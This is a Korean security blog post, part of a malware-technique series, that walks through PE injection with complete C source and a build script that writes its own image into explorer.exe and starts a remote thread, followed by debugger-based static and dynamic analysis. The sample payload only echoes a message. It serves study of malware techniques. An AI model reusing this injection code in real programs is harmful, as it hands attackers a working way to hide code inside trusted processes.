tmxklab

Dropper 3-3(PE Injection) 본문

Security/07 Malware Technique

Dropper 3-3(PE Injection)

tmxk4221 2020. 12. 29. 19:21

0. 목차


1. PE Injection이란

  • PE구조를 타겟 프로세스에 강제로 삽입하고 실행하는 방법
  • 디스크에 추가적인 DLL 등을 저장하지 않음
  • Loadlibrary를 호출하지 않는 방법

주요 흐름) Find Target ProcessOpenProcess -> VirtualAllocWriteProcessMemoryCreateRemoteThread


2. PE Injection 유형 분석

2.1 분석 환경

  • OS : Windows 7(x86)
  • Debugging Tool : IDA Pro, x32dbg
  • etc tool : Process Explorer, VMMap

2.2 예제 소스 코드

[ self.cpp ]

#include <Windows.h>
#include <TlHelp32.h>

unsigned int _strlen(const char *f)
{
    INT i = 0;
    while (*f++)
        i++;
    return i;
}

void _printf(char *fmtstr, ...)
{
    DWORD dwRet;
    CHAR buffer[256];
    va_list v1;
    va_start(v1, fmtstr);
    wvsprintfA(buffer, fmtstr, v1);
    WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), buffer, _strlen(buffer), &dwRet, 0);
    va_end(v1);
}

int _strcmp(char *s1, char *s2)
{
    while (*s1 && (*s1 == *s2))
        s1++, s2++;
    return (int)*(unsigned char *)s1 - *(unsigned char *)s2;
}

void *
_memcpy(void *dest, const void *src, size_t len)
{
    char *d = (char *)dest;
    const char *s = (const char *)src;
    while (len--)
        *d++ = *s++;
    return dest;
}

DWORD findPidByName(char *pname)
{
    HANDLE h;
    PROCESSENTRY32 procSnapshot;
    h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    procSnapshot.dwSize = sizeof(PROCESSENTRY32);

    do
    {
        if (!_strcmp(procSnapshot.szExeFile, pname))
        {
            DWORD pid = procSnapshot.th32ProcessID;
            CloseHandle(h);
            return pid;
        }
    } while (Process32Next(h, &procSnapshot));

    CloseHandle(h);
    return 0;
}

void doit()
{
    WinExec("cmd /k echo i'm in explorer.exe now!", 1);
}

int main()
{
    HMODULE hThisProcess = GetModuleHandle(NULL);

    PIMAGE_NT_HEADERS PEHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hThisProcess + ((PIMAGE_DOS_HEADER)hThisProcess)->e_lfanew);
    DWORD dwModuleSize = PEHeaders->OptionalHeader.SizeOfImage;

    DWORD dwProcessId = findPidByName("explorer.exe");

    HANDLE hRemoteProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION |
            PROCESS_CREATE_THREAD |
            PROCESS_VM_OPERATION |
            PROCESS_VM_WRITE,
        FALSE, dwProcessId);
    if (hRemoteProcess == NULL)
    {
        return (1);
    }
    //RWX
    LPVOID lpRemoteAllocation = VirtualAllocEx(hRemoteProcess, hThisProcess, dwModuleSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //Local Copy
    LPVOID pLocalCopy = VirtualAllocEx(GetCurrentProcess(), NULL, dwModuleSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    _memcpy(pLocalCopy, hThisProcess, dwModuleSize);

    WriteProcessMemory(hRemoteProcess, lpRemoteAllocation, (LPBYTE)pLocalCopy, dwModuleSize, 0);
    LPTHREAD_START_ROUTINE tStartRoutine = (LPTHREAD_START_ROUTINE)((LPBYTE)doit);

    DWORD dwRemoteThreadID;
    HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, tStartRoutine, NULL, 0, &dwRemoteThreadID);
    CloseHandle(hRemoteProcess);
    return 0;
}

[ build.bat ]

@ECHO OFF
WHERE cl
IF %ERRORLEVEL% NEQ 0 (
    call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\Tools\VsDevCmd.bat"
)
cl /c /GS- self.cpp
link /ENTRY:main /BASE:0x400000 /FIXED /subsystem:windows self.obj user32.lib kernel32.lib 
del *.obj


3. 분석

3.1 정적 분석

start()

doit()

1) lpAddress = GetModuleHandleA(0);

→ 파라미터가 NULL이면 호출 프로세스(.exe파일)를 만드는데 사용되는 핸들 반환(호출 프로세스인 self.exe의 핸들러)

  • lpAddress : NT Header의 시작 주소
  • dwSize : Optional Header의 Size of Image멤버 변수

2) dwProcessId = findPidByName((int)"explorer.exe");

→ "explorer.exe"프로세스의 이름을 찾아 pid를 구하여 반환

3) hProcess = OpenProcess(0x42Au, 0, dwProcessId);

  • 액세스 권한 옵션 : PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE

→ 위에서 구한 PID값을 통해 "explorer.exe" 프로세스의 handle값을 얻어옴

4) lpBaseAddress = VirtualAllocEx(hProcess, lpAddress, dwSize, 0x3000u, 0x40u);

  • 메모리 할당 유형 : MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)
  • 메모리 보호 유형 : PAGE_EXECUTE_READWRITE(0x40)

→ "explorer.exe"프로세스의 lpAddress위치에 dwSize만큼 공간할당

5) ProcessHandler = GetCurrentProcess();

→ 현재 프로세스에 대한 의사(pseudo) 핸들을 검색하여 반환하는 함수

  • 위 함수에서 설명한대로 호출 프로세스(self.exe)의 의사 핸들을 구하는 함수인데 OpenProcess와 차이점이 존재한다.
  • GetCurrentProcess()로 구하는 핸들은 실제 핸들 테이블에 있는 값이 아닌 사전에 상수로 정의된 의사 핸들 값이므로 해당 값을 통해 다른 프로세스에서 정상적으로 사용할 수 없고 자기 자신의 프로세스를 지정하는데 해당 핸들을 사용할 수 있다.
  • 실제 프로세스 핸들을 얻으려면 DuplicateHandle()OpenProcess()를 사용

→ ProcessHandler에는 "self.exe"의 pseudo 핸들 값이 저장된다.

6) lpBuffer = VirtualAllocEx(ProcessHandler, 0, dwSize, 0x3000u, 4u);

  • 메모리 할당 유형 : MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)
  • 메모리 보호 유형 : PAGE_READWRITE(0x4)

→ "self.exe"프로세스에 dwSize만큼 자동으로 메모리 할당하여 할당된 주소 값을 lpBuffer에 저장

→ 이후에 memcpy()를 통해 lpAddress에 있는 값을 lpBuffer위치에 dwSize만큼 복사한다.

7) WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, dwSize, 0);

→ "explorer.exe"프로세스에 lpBuffer에 있는 값을 lpBaseAddress에 dwSize만큼 작성

  • lpStartAddress : doit()주소

8) CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)doit, 0, 0, &ThreadId);

→ "explorer.exe"프로세스를 통해 doit()을 호출한다.

3.2 동적 분석

1) GetModuleHandleA() 호출

  • 반환 값 : 0x400000
  • "self.exe"의 이미지 주소를 가리킴

2) findPidByName("explorer.exe") 호출

  • "explorer.exe" pid : 0xbf0(3,056)

3) OpenProcess() 호출

  • "explorer.exe" handler : 0x34

4) VirtualAllocEx() 호출 前, 後

① 호출 前

  • "explorer.exe"에 메모리 공간을 할당할 때 "self.exe"의 Image 시작 주소와 동일한 위치에 메모리 공간할당을 시도한다.
  • 현재 "self.exe"의 0x400000주소에는 PE헤더 값이 있는 것을 확인할 수 있다.

② 호출 後

  • "explorer.exe"의 0x400000공간이 할당되고 rwx권한이 있는 것을 확인

5) VirtualAllocEx() 호출 前, 後

① 호출 前

  • GetCurrentProcess()를 통해 "self.exe"의 pseudo 핸들러를 가져옴
  • VirtualAllocEx()의 인자 값을 세팅

② 호출 後

  • "self.exe"의 주소 공간이 할당되고 시작 주소 값 0x2a0000를 반환
  • rw권한이 생긴 것을 확인

6) memcpy() 호출 前, 後

① 호출 前

  • 0x400000("self.exe"의 PE헤더 값) → 0x2a0000 로 복사

② 호출 後

  • PE헤더 값이 복사된 것을 확인

6) WriteProcessMemory() 호출

  • 방금 복사된 lpBuffer(0x2a0000)에 있는 값을 "explorer.exe"의 0x400000으로 복사

7) CreateRemoteThread() 호출 前, 後

① 호출 前

  • CreateRemoteThread()로 대상 프로세스의 메모리에 존재하는 함수를 실행하기 위해 인자 값을 세팅한다.

② 호출 後

  • "explorer.exe"프로세스를 통해 doit()을 호출한다.
  • doit()에는 cmd를 통해 echo하는 기능으로 정상 실행되는 것을 확인


4. 정리

4.1 Process

1) 준비 단계

  • GetModuleHandleA()를 통해 "self.exe"의 PE Image시작 주소를 구한다.
  • "self.exe"의 PE Image Size를 구한다.
  • findPidByName()을 통해 "explorer.exe"의 pid를 구한다.
  • OpenProcess()를 통해 "explorer.exe"의 핸들러를 구한다.

2) Injection 단계

  • VirtualAllocEx()를 통해 "explorer.exe"의 메모리 공간 할당
  • VirtualAllocEx()를 통해 "self.exe"의 메모리 공간 할당
  • memcpy()를 통해 "self.exe"의 PE 헤더 값을 할당 받은 공간으로 복사
  • WriteProcessMemory()를 통해 아까 "explorer.exe"에 할당받은 주소 공간으로 방금 memcpy()를 통해 복사한 값 복사

3) Execute 단계

  • CreateRemoteThread()를 통해 "explorer.exe"의 프로세스로 doit()실행

4.2 Image



출처 : https://www.elastic.co/kr/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process


5. 추가 내용

사실 위 코드를 실행시키면 정상 작동하지 않을 때가 있다.

디버깅 화면(ProcessExplorere)에서 잘 보면 explorer.exe프로세스가 1개가 아닌 2개가 있는 것을 확인할 수 있다. 그리고 Injection하려는 Target Process는 SUSPENDED상태의 explorer.exe이다.

어쩌다가 되긴 했는데 CreateProcess()를 통해서 explorer.exe를 SUSPENDED상태로 생성해주는 코드를 추가해줘야 할 것 같다.

이후에 PE Injection관련 깃허브 소스코드를 참고하거나 hybrid-analysis에서 다운받아서 상세히 분석해봐야게따

6. 참고자료

6.1 GetCurrentProcess()

6.2 PE Injection


'Security > 07 Malware Technique' 카테고리의 다른 글

Reflective DLL Injection  (4) 2021.01.07
Dropper 3-4(Thread Injection)  (0) 2020.12.30
Dropper 3-2(Process Hollowing)  (3) 2020.12.29
Dropper 3-1(DLL Injection)  (0) 2020.12.29
Dropper 2(Resource)  (0) 2020.12.29
Comments